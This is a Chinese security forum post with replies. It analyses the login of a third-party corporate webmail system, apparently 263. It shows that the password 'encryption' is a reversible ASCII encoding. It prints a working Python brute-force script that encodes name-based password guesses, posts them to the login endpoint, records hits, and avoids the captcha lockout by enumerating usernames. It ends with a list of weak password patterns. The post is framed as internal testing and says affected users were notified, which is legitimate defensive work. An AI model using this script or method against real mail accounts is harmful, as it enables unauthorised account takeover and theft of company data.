[【通过】] 某第三方邮箱系统登录安全性研究分析

[复制链接]
寂寞先生 发表于 2018-12-19 16:22:40 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 106

本帖最后由 寂寞先生 于 2018-12-21 10:11 编辑

0x00前言      入职了公司安全部,就开始对我公司的各系统做一轮安全测试。界面如下:


1.jpg
公司使用的是第三方的邮件系统。
0x02登录加密分析
    没有0day只能研究研究他的登录安全性,能破解几个弱口令也是可以的。测试时发现登录请求报文的用户名明文传输,密码做了加密:
2.png
仔细观察发现,密码好像并不是什么加密。登录时我输入的用户名是testtest,密码是12345678,抓包,用户名为明文,密为:%24491%3B%24501%3B%24511%3B%24521%3B%24531%3B%24541%3B%24551%3B%24561%3B。将密码字段做url解码:
3.png

得到解码后的值为:$491;$501;$511;$521;$531;$541;$551;$561;
我输入的密码是:12345678
现在加密的值是:$491;$501;$511;$521;$531;$541;$551;$561;
看了一会儿,似乎有点规律。经过仔细分析查看,将他们一一对应起来进行对比:
   1        2         3       4          5        6        7        8
$491;  $501;  $511;  $521;  $531;  $541;  $551;  $561;

不难发现其中的规律,根据经验,1对应的ascii码为49,   2ascii码为50。
以此类推,发现其中的加密算法为:将密码字符串1ascii编码,然后用 "$"  +  "49"  +  "1;" 拼接起来就是密码的加密算法。
1 –> $491;        2 –> $501;
A –> $651;        a –> $971;

将用户输入的字符串做以上编码处理,然后向服务器发送请求。服务器会做相应的解码。然后一列的判断密码是否正确

经过测试发现,邮箱系统本身重置密码时已经做了弱密码检测:

4.png


但有些密码可以通过该弱口令规则,但仍属于易破解密码
测试过程发现,同一个邮箱用户名连续输入错误密码三次就会弹出图片验证码:
5.png
此验证码是可以直接识别的,但这里不做深入研究:


6.png
验证码作用是防止攻击者暴力破解。
综上,虽然有以上防弱口令、防爆破规则,但仍有漏网之鱼。收集一些公司同事姓名,有针对性的生成有些跟用户名相关的密码字典。就可以爆破出弱口令。
经过抓包分析,编写爆破程序:
#coding:utf-8
import requests

header = {
        
                        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0',
                        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                        'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
                        'Content-Type': 'application/x-www-form-urlencoded',
                        'Referer': 'http://mail.test.com/'

                }
n = 1
good = open('good.txt','a')
url = 'http://mail.test.com/xmweb?host=mail.test.com&_t=1530144631717'
with open('yonghuming.txt','r') as u:
        for i in u:
                password = i.strip().upper() + '[email protected]#'
                c = ''
                for j in password:
                        b = str(ord(j))
                        c += '$' + b + '1;'
                jiami_pass = c
                user = i.strip()
                data = {'chr':'gb','func':'login','isp_domain':'','verifycookie':'','verifyip':'','buttonType':'1','usr':user,'domain':'test.com','domainType':'wm','encode':'on','username':user,'pass':jiami_pass}

                html = requests.post(url = url,data = data,headers = header).content

                if  len(html) > 20000:
                        print '[OK] user:' + user + '@test.com ---- password:' + password
                        good.write('\n[OK] ' + user + '@test.com ---- password:' + password)
                else:
                        n += 1
                        print str(n) + ':' + user + ':' + password

good.close()


虽然有连续输入三次密码错误验证码,但是攻击者可以固定密码格式去枚举用户名。

测试过程如下,爆破成功密码就把结果保存到本地。
7.png

通过几轮的测试,可以成功爆破出了很多强类型的“弱密码”账号。
例如:用户名为zhangwei,密码为Zhangwei123456

枚举出一些账号密码后,及时邮件通知了他们修改密码。

8.png
本次测试,只用了简单的密码模型就爆破出了几个邮箱账号,只要花点时间,测试一些高难度的密码,还会破解出跟多的账号密码。企业安全不容忽视。
0x03 后话
外部攻击者可以爆破邮箱密码,进入邮箱,查看公司内部文件、数据。造成信息泄露。
以下密码及类似密码均为弱密码或易破解密码:
以姓名为 张三  为例:
密码为:
zhangsan
zhangsan.
zhangsan123
ZHANGSAN123
ZHANGSAN123456
Zhangsan
ZHANGSAN
zhangsan123456
1qaz2wsx
1qaz2wsx3edc
ZhangSan
zhangsan520等等。。。


评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

Bsmali4 发表于 2018-12-20 09:30:29 | 显示全部楼层

正式成员|主题 |帖子 |积分 393

这个密码规律是哪家成熟的产品吗?
 楼主 寂寞先生 发表于 2018-12-21 10:02:36 | 显示全部楼层

正式成员|主题 |帖子 |积分 106

263
 楼主 寂寞先生 发表于 2018-12-21 10:04:50 | 显示全部楼层

正式成员|主题 |帖子 |积分 106

RE: 某第三方邮箱系统登录安全性研究分析

Bsmali4 发表于 2018-12-20 09:30
这个密码规律是哪家成熟的产品吗?

263
赵健康 发表于 2018-12-21 18:00:02 | 显示全部楼层

九零元老|主题 |帖子 |积分 119

爆破不错

点评

11  发表于 2020-11-25 15:58
kkshell 发表于 2019-1-27 16:05:51 | 显示全部楼层

正式成员|主题 |帖子 |积分 10

思路不错
快速回复 返回顶部 返回列表